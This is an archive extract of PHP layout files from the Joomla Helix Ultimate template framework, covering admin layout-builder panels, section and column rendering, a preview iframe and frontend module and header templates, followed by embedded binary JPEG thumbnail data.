$headerTitle = implode(' ', explode('_', $fieldset->name));

?>

<div class="hu-edit-panel <?php echo strtolower($fieldset->name); ?>-panel">
	<div class="hu-panel-header">
		<span><?php echo ucwords($headerTitle); ?></span>
		<button type="button" role="button" class="hu-btn hu-btn-round hu-btn-round-sm hu-panel-close" data-sidebarclass="<?php echo 'hu-fieldset-' . $fieldset->name; ?>">
			<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10" fill="none"><path d="M9.708.292a.999.999 0 00-1.413 0l-3.289 3.29L1.717.291A.999.999 0 00.305 1.705l3.289 3.289-3.29 3.289a.999.999 0 101.413 1.412l3.29-3.289 3.288 3.29a.999.999 0 001.413-1.413l-3.29-3.29 3.29-3.288a.999.999 0 000-1.413z"/></svg>
		</button>
	</div>
	<div class="hu-groups-container">
		<?php echo LayoutHelper::render('cpanel.control-board.fieldset.groups', ['groups' => $groups, 'fieldset_name' => $fieldset->name], HELIX_LAYOUTS_PATH); ?>
	</div>
</div>PK!��ӝ�<helixultimate/layouts/cpanel/control-board/fieldset/icon.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Uri\Uri;

extract($displayData);


$iconsrc = Uri::root() . "plugins/system/helixultimate/assets/images/icons/{$fieldset->name}.svg";

?>
<div class="hu-fieldset hu-fieldset-<?php echo $fieldset->name; ?>">
	<div class="hu-fieldset-header" data-fieldset="<?php echo strtolower($fieldset->name); ?>">
		<div class="hu-fieldset-header-inner">
			<img class="hu-option-icon" src="<?php echo $iconsrc; ?>" alt="<?php echo $fieldset->name; ?>" alt="<?php echo Text::_($fieldset->label); ?>" />
			<span class="hu-option-title"><?php echo Text::_($fieldset->label); ?></span>
		</div>
	</div>
</div>PK!����(helixultimate/layouts/backend/column.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('_JEXEC') or die();

$settings = $displayData;
$colSettings = 'data-grid_size="12" data-column_type="0" data-name="none"';
if(isset($settings->grid_size) && $settings->grid_size){
    $colSettings = RowColumnSettings::getSettings($settings);
}

$output = '<div class="hu-layout-column col-' . ((isset($settings->grid_size) && $settings->grid_size)? $settings->grid_size :12) .'" ' . $colSettings .'>';
$output .= '<div class="hu-column' . ((isset($settings->column_type) && $settings->column_type) ? ' hu-column-component' : '') . '">';

if (isset($settings->column_type) && $settings->column_type)
{
    $output .= '<span class="hu-column-title">Component</span>';
}
else
{
    if (isset($settings->name))
    {
        $output .= '<span class="hu-column-title">'. $settings->name .'</span>';
    }
    else
    {
        $output .= '<span class="hu-column-title">None</span>';
    }
}

$output .= '<a class="hu-column-options" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="15" height="3" fill="none"><path fill="#020B53" fill-rule="evenodd" d="M3 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zm6 0a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM13.5 3a1.5 1.5 0 100-3 1.5 1.5 0 000 3z" clip-rule="evenodd" opacity=".4"/></svg></a>';
$output .= '</div>';
$output .= '</div>';

echo $output;PK!H<�**)helixultimate/layouts/backend/section.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('_JEXEC') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\Utilities\ArrayHelper;

$grids = array(
	array(
		'12',
		'<svg xmlns="http://www.w3.org/2000/svg" width="51" height="17" fill="none"><rect width="50.78" height="16.927" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'6+6',
		'<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="23.79" height="16.221" fill-opacity=".3" rx="2"/><rect width="23.79" height="16.221" fill-opacity=".7" rx="2"/><rect width="23.79" height="16.221" x="25.681" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'4+4+4',
		'<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="15.139" height="16.221" fill-opacity=".3" rx="2"/><rect width="15.139" height="16.221" x="17.302" fill-opacity=".3" rx="2"/><rect width="15.139" height="16.221" x="17.302" fill-opacity=".7" rx="2"/><rect width="15.139" height="16.221" x="34.605" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'3+3+3+3',
		'<svg xmlns="http://www.w3.org/2000/svg" width="51" height="17" fill="none"><rect width="10.814" height="16.221" fill-opacity=".3" rx="2"/><rect width="10.814" height="16.221" x="12.974" fill-opacity=".3" rx="2"/><rect width="10.814" height="16.221" x="12.974" fill-opacity=".7" rx="2"/><rect width="10.814" height="16.221" x="25.95" fill-opacity=".3" rx="2"/><rect width="11.354" height="16.221" x="38.929" fill-opacity=".3" rx="2"/><rect width="11.354" height="16.221" x="38.929" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'4+8',
		'<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="15.139" height="16.221" fill-opacity=".3" rx="2"/><rect width="33" height="16" x="17" fill-opacity=".3" rx="2"/><rect width="33" height="16" x="17" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'3+9',
		'<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="10.814" height="16.221" fill-opacity=".7" rx="2"/><rect width="37" height="16" x="13" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'3+6+3',
		'<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="10.543" height="16.221" fill-opacity=".3" rx="2"/><rect width="11.084" height="16.221" x="38.659" fill-opacity=".3" rx="2"/><rect width="23.79" height="16.221" x="12.704" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'2+6+4',
		'<svg xmlns="http://www.w3.org/2000/svg" width="51" height="17" fill="none"><rect width="6.488" height="16.221" x=".143" fill-opacity=".7" rx="2"/><rect width="23.79" height="16.221" x="9" fill-opacity=".3" rx="2"/><rect width="15.139" height="16.221" x="35" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'2+10',
		'<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="6.488" height="16.221" x=".143" fill-opacity=".3" rx="2"/><rect width="41" height="16" x="9" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'5+7',
		'<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="28.927" height="16.221" x="20.653" fill-opacity=".7" rx="2"/><rect width="18.654" height="16.221" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'2+3+7',
		'<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="6.488" height="16.221" x=".143" fill-opacity=".7" rx="2"/><rect width="10" height="16.221" x="8.7" fill-opacity=".3" rx="2"/><rect width="28.927" height="16.221" x="20.653" fill-opacity=".7" rx="2"/></svg>'
	)
);

$row = $displayData;

$rowSettings = '';
if(isset($row->settings))
{
	$rowSettings = RowColumnSettings::getSettings($row->settings);
}

$name = Text::_('HELIX_ULTIMATE_SECTION_TITLE');

if (isset($row->settings->name))
{
	$name = $row->settings->name;
}

$layout_path  = JPATH_ROOT .'/plugins/system/helixultimate/layouts';
$layout_column = new FileLayout('backend.column', $layout_path );

$output = '';
$output .= '<div '.((isset($row->sectionID) && $row->sectionID)?'id="hu-layout-section"':'').' class="hu-layout-section" ' . $rowSettings .'>';
$output .= '<div class="hu-layout-section-inner">';
$output .= '<div class="hu-section-settings hu-d-flex hu-justify-content-between hu-align-items-center">';
$output .= '<div>';
$output .= '<a class="hu-move-row hu-layout-builder-action" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="15" height="8" fill="none"><path fill-rule="evenodd" d="M1.5 3a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm0 5a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM9 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM7.5 8a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM15 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM13.5 8a1.5 1.5 0 100-3 1.5 1.5 0 000 3z" clip-rule="evenodd"/></svg></a>';
$output .= '<strong class="hu-section-title">' . $name . '</strong>';
$output .= '</div>';
$output .= '<div>';
$output .= '<ul class="hu-row-option-list">';
$output .= '<li class="hu-mr-1">';
$output .= '<a class="hu-add-columns hu-layout-builder-action" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="13" height="11" fill="none"><path d="M.996 4.805h3.926c.662 0 1.002-.323 1.002-1.014V1.02C5.924.322 5.584 0 4.922 0H.996C.34 0 0 .322 0 1.02V3.79c0 .691.34 1.014.996 1.014zm6.932 0h3.926c.662 0 1.002-.323 1.002-1.014V1.02c0-.698-.34-1.02-1.002-1.02H7.928c-.657 0-.996.322-.996 1.02V3.79c0 .691.34 1.014.996 1.014zm-6.92-.65c-.252 0-.363-.112-.363-.376V1.02c0-.251.11-.369.363-.369H4.91c.252 0 .363.118.363.37v2.76c0 .263-.11.374-.363.374H1.008zm6.937 0c-.258 0-.369-.112-.369-.376V1.02c0-.251.112-.369.37-.369h3.896c.252 0 .363.118.363.37v2.76c0 .263-.111.374-.363.374H7.945zM.996 10.61h3.926c.662 0 1.002-.322 1.002-1.013V6.826c0-.691-.34-1.013-1.002-1.013H.996C.34 5.813 0 6.135 0 6.825v2.772c0 .691.34 1.013.996 1.013zm6.932 0h3.926c.662 0 1.002-.322 1.002-1.013V6.826c0-.691-.34-1.013-1.002-1.013H7.928c-.657 0-.996.322-.996 1.013v2.772c0 .691.34 1.013.996 1.013zm-6.92-.644c-.252 0-.363-.117-.363-.375v-2.76c0-.258.11-.375.363-.375H4.91c.252 0 .363.117.363.375v2.76c0 .258-.11.375-.363.375H1.008zm6.937 0c-.258 0-.369-.117-.369-.375v-2.76c0-.258.112-.375.37-.375h3.896c.252 0 .363.117.363.375v2.76c0 .258-.111.375-.363.375H7.945z"/></svg></a>';
$output .= '<div class="hu-column-list">';
$output .= '<div class="row">';

if(!isset($row->layout)){
	$row->layout =  12;
}

$custom = true;

foreach ($grids as $grid)
{
	$output .= '<div class="col-3">';
	$output .= '<a href="#" class="hu-column-layout '.(($grid[0] == $row->layout)? 'active' : '' ).'" data-layout="'. $grid[0] .'">';
	$output .= '<div class="hu-column-layout-preview">' . $grid[1]  . '</div>';
	$output .= '<span class="hu-column-layout-name">' . $grid[0]  . '</span>';
	$output .= '</a>';
	$output .= '</div>';

	if($grid[0] == $row->layout)
	{
		$custom = false;
	}
}

$output .= '<div class="col-3">';
$output .= '<a href="#" class="hu-column-layout hu-layout-custom-btn ' . ((isset($row->layout) && $custom) ? 'active' : '' ) .'" data-layout="'. $grid[0] .'" data-layout="'. $row->layout .'" data-type="custom" title="Custom Layout">';
$output .= '<div class="hu-column-layout-preview">Custom</div>';
$output .= '<span class="hu-column-layout-name hu-sr-only">Custom</span>';
$output .= '</a>';
$output .= '</div>';

$output .= '</div>';

$output .= '<div class="hu-layout-custom mb-2" style="display: none;">';
$output .= '	<label>' . Text::_('HELIX_ULTIMATE_CUSTOM_LAYOUT_LABEL') . '</label>';
$output .= '	<div class="hu-d-flex hu-justify-content-between">';
$output .= '		<input type="text" class="hu-layout-custom-field me-2" value="6+3+3">';
$output .= '		<button class="hu-btn hu-btn-primary hu-layout-custom-apply">' . Text::_('HELIX_ULTIMATE_MEGAMENU_APPLY_TEXT') . '</button>';
$output .= '	</div>';
$output .= '</div>';

$output .= '</div>';
$output .= '</li>';
$output .= '<li class="hu-mr-1"><a class="hu-row-options hu-layout-builder-action" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="15" height="12" fill="none"><path d="M9.786 3.224c.731 0 1.347-.487 1.548-1.16h2.428c.23 0 .43-.194.43-.438 0-.25-.2-.444-.43-.444h-2.428A1.614 1.614 0 009.786 0c-.738 0-1.36.501-1.554 1.182H.444A.437.437 0 000 1.626c0 .244.193.437.444.437H8.24a1.61 1.61 0 001.547 1.16zm0-.73a.876.876 0 01-.88-.882c0-.502.386-.881.88-.881.495 0 .882.38.882.88a.876.876 0 01-.882.882zm-5.2 5.129c.737 0 1.36-.502 1.554-1.175h7.608c.244 0 .444-.2.444-.444 0-.251-.2-.445-.444-.445H6.133A1.618 1.618 0 004.585 4.4c-.73 0-1.354.494-1.547 1.16H.423A.433.433 0 000 6.004c0 .243.193.444.423.444h2.615a1.622 1.622 0 001.547 1.175zm0-.738a.872.872 0 01-.882-.881c0-.495.387-.882.881-.882s.881.387.881.882a.872.872 0 01-.88.88zM9.785 12c.731 0 1.354-.502 1.548-1.175h2.428c.23 0 .43-.193.43-.444 0-.244-.2-.437-.43-.437h-2.428a1.616 1.616 0 00-1.548-1.168c-.73 0-1.354.494-1.547 1.168H.444A.436.436 0 000 10.38c0 .25.193.444.444.444h7.788A1.625 1.625 0 009.786 12zm0-.73a.878.878 0 01-.88-.89c0-.493.386-.873.88-.873.495 0 .882.38.882.874a.878.878 0 01-.882.888z"/></svg></a></li>';
$output .= '<li><a class="hu-remove-row hu-layout-builder-action" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="12" height="13" fill="none"><path d="M9.592 11.648l.433-8.748h.844a.335.335 0 00.334-.34.335.335 0 00-.334-.34H8.098V1.3c0-.773-.545-1.3-1.389-1.3h-2.22c-.844 0-1.384.527-1.384 1.3v.92H.34a.348.348 0 00-.34.34c0 .188.158.34.34.34h.844l.433 8.748c.041.75.569 1.266 1.33 1.266h5.315c.756 0 1.295-.516 1.33-1.266zM3.826 1.336c0-.38.281-.662.71-.662h2.132c.422 0 .715.281.715.662v.885H3.826v-.885zm-.82 10.898a.68.68 0 01-.68-.662L1.893 2.9h7.412l-.416 8.672a.682.682 0 01-.686.662H3.006zm4.348-1.148c.158 0 .275-.123.28-.293l.188-6.404c.006-.17-.111-.305-.275-.305-.147 0-.27.135-.27.299l-.193 6.398c0 .17.111.305.27.305zm-3.499 0c.159 0 .276-.135.27-.305l-.193-6.398c0-.164-.13-.299-.276-.299-.158 0-.275.129-.27.305l.194 6.404c.006.17.117.293.275.293zm1.752 0c.153 0 .282-.135.282-.299V4.39c0-.17-.13-.305-.282-.305-.152 0-.28.135-.28.305v6.398c0 .164.128.299.28.299z"/></svg></a></li>';
$output .= '</ul>';
$output .= '</div>';
$output .= '</div>';

$output .= '<div class="hu-row-container">';
$output .= '<div class="row hu-layout-row" data-hu-layout-row>';

if(isset($row->attr) && $row->attr)
{
	foreach ($row->attr as $column)
	{
		$output .= $layout_column->render($column->settings);
	}
}
else
{
	$output .= $layout_column->render(new stdClass);
}

$output .= '</div>';
$output .= '</div>';
$output .= '<a class="hu-add-row hu-btn hu-btn-primary" href="#"><i class="fas fa-plus" aria-hidden="true"></i></a>';
$output .= '</div>';
$output .= '</div>';

echo $output;PK!��	!helixultimate/layouts/display.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Settings;
use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

extract($displayData);

$app = Factory::getApplication();

$sidebar = new Settings;
?>

<div id="helix-ultimate">
	<?php echo LayoutHelper::render('cpanel.editor.topbar', ['id' => $id, 'view' => $view], HELIX_LAYOUTS_PATH); ?>
	<div class="hu-options-core">
		<div class="hu-options-container">
			<?php echo LayoutHelper::render('cpanel.editor.controls', ['id' => $id, 'view' => $view], HELIX_LAYOUTS_PATH); ?>
			<div class="hu-fieldset-contents">
				<form id="hu-style-form" action="index.php">
					<?php echo $sidebar->renderFieldsetContents(); ?>

					<!-- meta hidden values  -->
					<input type="hidden" name="id" value="<?php echo $style->id; ?>">
					<input type="hidden" name="template" value="<?php echo $style->template; ?>">
					<input type="hidden" name="client_id" value="<?php echo $style->client_id; ?>">
					<input type="hidden" name="home" value="<?php echo $style->home; ?>">
					<input type="hidden" name="title" value="<?php echo $style->title; ?>">
				</form>
			</div>
		</div>
	</div>
	<div class="hu-container">
		<div class="hu-preview">
			<?php echo LayoutHelper::render('preview.iframe', $iframe, HELIX_LAYOUTS_PATH); ?>
		</div>
	</div>
</div>PK!�ޝzmm(helixultimate/layouts/preview/iframe.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

use Joomla\CMS\Factory;

defined('_JEXEC') or die();

extract($displayData);

$style = '';

if (empty($width))
{
	$width = '100%';
}

if (empty($height))
{
	$height = '100%';
}

$style .= "width: {$width}; height: {$height}; box-shadow: rgba(139, 139, 143, 0.56) 3px 0px 10px;";

?>

<iframe id="hu-template-preview" src="<?php echo $url; ?>" frameborder="0" style="<?php echo $style; ?>">
</iframe>PK!t'U��0helixultimate/layouts/frontend/conponentarea.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;

$doc = Factory::getDocument();

$data = $displayData;
?>

<main id="sp-component" class="<?php echo $data->settings->className; ?>">
	<div class="sp-column <?php echo $data->settings->custom_class; ?>">
		<jdoc:include type="message" />

		<?php if ($doc->countModules('content-top')): ?>
			<div class="sp-module-content-top clearfix">
				<jdoc:include type="modules" name="content-top" style="sp_xhtml" />
			</div>
		<?php endif ?>

		<jdoc:include type="component" />

		<?php if ($doc->countModules('content-bottom')): ?>
			<div class="sp-module-content-bottom clearfix">
				<jdoc:include type="modules" name="content-bottom" style="sp_xhtml" />
			</div>
		<?php endif ?>
	</div>
</main>
PK!c9ظ��*helixultimate/layouts/frontend/modules.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\Language\Text;

$data = $displayData;

$options = $data->settings;
$params = Helper::loadTemplateData()->params;
$isHeader = !empty($data->section_sematic) && $data->section_sematic === 'header';
$hasOffcanvas = in_array($params->get('menu_type', ''), ['mega_offcanvas', 'offcanvas']);
$offcanvasPosition = $params->get('offcanvas_position', 'right');
$columnClass = $isHeader ? ' d-flex align-items-center' : '';

$columnClass .= $isHeader && $options->name === 'menu' ? ' justify-content-end' : '';

$output ='';
$output .= '<'.$data->sematic.' id="sp-' . OutputFilter::stringURLSafe($options->name) . '" class="'. $options->className .'">';
$output .= '<div class="sp-column ' . ($options->custom_class) . $columnClass . '">';
$features = (isset($data->hasFeature[$options->name]) && $data->hasFeature[$options->name])? $data->hasFeature[$options->name] : array();

foreach ($features as $key => $feature)
{
    if (isset($feature['feature']) && $feature['load_pos'] == 'before' )
    {
        $output .= $feature['feature'];
    }
}

$output .= '<jdoc:include type="modules" name="' . $options->name . '" style="sp_xhtml" />';

foreach ($features as $key => $feature)
{
    if (isset($feature['feature']) && $feature['load_pos'] != 'before' )
    {
        $output .= $feature['feature'];
    }
}

if ($isHeader && $hasOffcanvas && $options->name === 'menu')
{
    if ($offcanvasPosition === 'right')
    {
        $output .= '<a id="offcanvas-toggler"  aria-label="'. Text::_('HELIX_ULTIMATE_NAVIGATION') . '" title="'. Text::_('HELIX_ULTIMATE_NAVIGATION') . '"  class="offcanvas-toggler-secondary offcanvas-toggler-right d-flex align-items-center" href="#">';
        $output .= '<div class="burger-icon"><span></span><span></span><span></span></div>';
        $output .= '</a>';
    }
}

$output .= '</div>';
$output .= '</'.$data->sematic.'>';

echo $output;
PK!�6&njj+helixultimate/layouts/frontend/generate.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();


$layout_path  = JPATH_ROOT .'/plugins/system/helixultimate/layouts';

$data = $displayData;

extract($displayData);
?>

<<?php echo $sematic; ?> id="<?php echo $id ?>" <?php echo $row_class ?>>

	<?php if ($componentArea): ?>
		<?php if (!$pagebuilder): ?>
			<?php if (!$fluidrow): ?>
				<div class="container">
					<div class="container-inner">
			<?php endif ?>
		<?php endif ?>
	<?php else: ?>
		<?php if (!$fluidrow): ?>
			<div class="container">
				<div class="container-inner">
		<?php endif ?>
	<?php endif ?>

	<?php echo (new JLayoutFile('frontend.rows', $layout_path))->render($data); ?>

	<?php if ($componentArea): ?>
		<?php if (!$pagebuilder): ?>
			<?php if (!$fluidrow): ?>
					</div>
				</div>
			<?php endif ?>
		<?php endif ?>
	<?php else: ?>
		<?php if (!$fluidrow): ?>
				</div>
			</div>
		<?php endif ?>
	<?php endif ?>

</<?php echo $sematic; ?>>PK!�1�77'helixultimate/layouts/frontend/rows.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Layout\FileLayout;

$layout_path_carea  = JPATH_ROOT .'/plugins/system/helixultimate/layouts';
$layout_path_module = JPATH_ROOT .'/plugins/system/helixultimate/layouts';

$data = $displayData;
$section_sematic = $data['sematic'];

extract($displayData);
?>

<div class="row">
	<?php
		foreach ($rowColumns as $key => $column)
		{
			if (isset($componentArea) && $componentArea)
			{
				$column->sematic = 'aside';
			}
			else
			{
				$column->sematic = 'div';
			}

			$column->hasFeature = $loadFeature;
			$column->section_sematic = $section_sematic;

			if ($column->settings->column_type)
			{
				echo (new FileLayout('frontend.conponentarea', $layout_path_carea))->render($column);
			}
			else
			{
				echo (new FileLayout('frontend.modules', $layout_path_module))->render($column);
			}
		}
	?>
</div>PK!�7����;helixultimate/layouts/frontend/headerlist/style-2/thumb.jpgnu&1i����JFIF��C


		
%# , #&')*)-0-(0%()(��C



(((((((((((((((((((((((((((((((((((((((((((((((((((��X"����2!1AQ"2aq#R���$Bbr�����1!��?���5�ĕ(2G��.w��;N�Ѳ�}��o�j�_)���1��f�Ҙ�#�ա�c�,��ژ���/��Uc�$�q������q۾4��'��[����/���`�e�%2��-3���A_NqX�e˴�rc�:r/�z���#�}�(T��s ��,��f��B#x~Ǡ��[�X�D}K�4nd�Z�+��^q��t�\u���I���d���p��������^�6Q�[�Y�k^H�$<�C� ����V^���sé����vFВ�h�6�&`�����|��?�����;T$
�#Y�V��h?S��7�W�S�-�Q��Bz�K�����O�}T��S/L�e	��Ի<�F��A�H�3�tG���S�#?�Cf1����|�w�=�c˃��tGˏ�z*;�.d)䡗$��ߙ�5�	d$�8h�Xu��y�k���e&m�O�#��c�/����7�:��P^a�*C��=��(Ƿ��f@DDD@DDD@DDD@DDD@DDD@DDD@DDD@DDD@D\�o�|Ĕ��HC.٦�hH��\t�N/�@o}��.�H�M��訨����v�:C�_7q�\9�����7z~�V�ꊝUBk�!�,��3��1�C��v#�`���z󯕫�����"[�E1l��7n���>`�tŤ�~ދ�h��3��j��㤀�v�t�s�<D�z�#aLo��%g�b�
y��DZ6�yh胠t�����ζ��>/"���D9����⃡,$�oC�;#J�=>?�:��M[�G^�v#�$�w8���,���#�k�ApEϪ���M��KS;Ȉ@�p�~���5��������]�:Γ��H�Y'�k$�\��'�	M-q�@�N�Y�w�:����1HL�G�}l����S��u����|�ֱ�b0��M���;;O��݁��_�s��GdvY�ɪ9��,���%�#a�h�w����,�2�VL}���2'�k���B�f����޽�\�D��fO
�b�(��l����%����7�DoJZ" """ (9ZrZ�7V�Cj���[��{�	NE���vjţ%�crͅ��Q�NG�_`��4�����x��+-�����,��X��g�-q���H��O���&ў�NQY��;�|7鮤�����;��3���I1�H'�k,�=�v���eg�g�I2�#[��y~�װ+�"��?�^��,O�����6kr�$�&��q����[�GFa11梥Y쭗��-W2���;�s���S�^��+ ���X-y�[�%�
WKbw=�����~�Cd�)0a�mfCbŻa�2v�ļ���5�cz[4Aت���&7�3l��gu�U^��IZ*߃�:����=��.?=�V�@���u�xG(���[����u�� e�����VJ�#}yKIa��w���m�:��̒^
��nw�O�Ȉ����������������������������������ψ�X�H��ԑ���д�����9bf=�,�cY�8�m�j���-��Y�R�F7��hk��29�04Ru�"���2�@��%���ƾ7��5�a���>�R��>:���*��C!�s������-n�p8�M�_�B_;D�w?�d��EaDiՂ�h�ӆ8+�4��hkZ?@dD�2�BHz�{/���t�����7��?���4�^���Z�ZP���������
����X�5���h�"�Z6���h%;�n�r�*�ۉ����5�kO���{�u.�����A���2 +�Q�}�v�u�D�����P�' ��P��ݾ�;Y(Ч��GF��00hzv���J """ ""��PK!���{��<helixultimate/layouts/frontend/headerlist/style-2/header.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

$data = $displayData;

$feature_folder_path     = JPATH_THEMES . '/' . $data->template->template . '/features/';

include_once $feature_folder_path.'logo.php';
include_once $feature_folder_path.'menu.php';

$output  = '';

$output .= '<header id="sp-header">';
$output .= '<div class="container">';
$output .= '<div class="container-inner">';
$output .= '<div class="row">';

$output .= '<div id="sp-logo" class="col-8 col-lg-4">';
$output .= '<div class="sp-column">';
$logo    = new HelixUltimateFeatureLogo($data->params);
$output .= $logo->renderFeature();
$output .= '</div>';
$output .= '</div>';

$output .= '<div id="sp-menu" class="col-4 col-lg-8">';
$output .= '<div class="sp-column">';
$menu    = new HelixUltimateFeatureMenu($data->params);
$output .= $menu->renderFeature();
$output .= '</div>';
$output .= '</div>';

$output .= '</div>';
$output .= '</div>';
$output .= '</div>';
$output .= '</header>';

echo $output;PK!/.4;helixultimate/layouts/frontend/headerlist/style-1/thumb.jpgnu&1i����JFIF��C


		
%# , #&')*)-0-(0%()(��C



(((((((((((((((((((((((((((((((((((((((((((((((((((��/X"����8!1AU��Q�"2Raq�#3Br�$b������ 1!2Q��?��qa�,�[1�6�}j����]��?�p�\���T�YʥF^FJ�}YP
�H�J� �1�

M�-^^�.
�d��,�8 �5������)��%���"�6�cu�eY�)�Ǥ�ڕ�q,��)Z�!:�nᦱ�!JJ��S�U�-z�ğS
�,�V����6�94�$&�n��$�G��ː�����Kt���a)BR.�)D�)�1�y��en�ՕE���� �ǭ6t�:�v���eR�8JC��
�
RA�8�6��ꊦPU��}-!r������u+RJ���M���M~^H)�2����J8�(����}��	�KM�6�@6͘x(��G���-���hu7�q
$i�(����Q�Sr�PTӍ%���m���ܝTuQ$�I�O(/4�z�P��$/��)���Z<�P���l2��.�9��h	ԝ��b���ۧ�M��aL��hٸH#2�I<�<��F�]*�-8�iul�����m�W����	*�#0��
n=E�jJNvu+T��:�2�頿"���ѷ�q�u
&i��d��E��e
B�_�FK��Ǖ*��=�4�6TUl�
R�U�����T�YA.m�d���o�23���}jB�Iʢ�s[[~����5}�&U2�
yNmTm�U���:
���T�d�5�%��M�s�}�<����M=�����@�$|D\���Y��4�V�q	y%M��bG�A�C��F3�x?��Z��+2H)#��B�[��Kʳ4���{��NPI7	�`��T7\��Ia.�Ӂ�)s	o�"�:����JM=-2T�쬶�J�Ub/�;���ݓ����[�ԗ�Z
3$%Iyqj�J��g&�BR��T�51�>����$��9�V-(P]�2�	�G�d��Ny�9]�|�	���I�71�^6�?CU*m�Y�¥�yIR^q$$V
����U�
d���i�R��
̜�N� �B	�����=��4
C�����ZM�t�t����S
P�����[�d
Y�OU���JHK5"ܣ2{B��T�QY�A`4�9��%
�K�̢C�9
�"� pt �"D�Ԩ�JZT	#�1�j�֯x:����p�qj+Q�$���\���
��Z��@g�s�W�6�}j��!��ϭ^�ڹ���0�{W>�{�j�֯x��\���
��Z��@g�s�W�6�}j��!��ϭ^�ڹ���0�{W>�{�j�֯x��\���
��Z��@g�s�W�6�}j��!��ϭ^�ڹ���0�{W>�{dzMM�/2�)ulK%*}`��QʒS�kF�:u�VR�/��r?,�J�y�Uc�� ��L���f\8�PBP��Q���'�>��)���%5u(�p�<����x3Xu��0�io��	�r@$��[ٰ~`�u�߭��#��횒h:��/,�«|��Y<��[�h1#R�h:����h,���qN�X�O�N:G��*��o��m[F~j�t���6X��Ԋ%L����h�@د1Xom}�x�j��AR�4�Ě��uWsl�g�hV}yXk@b�
���I��2�&��.���
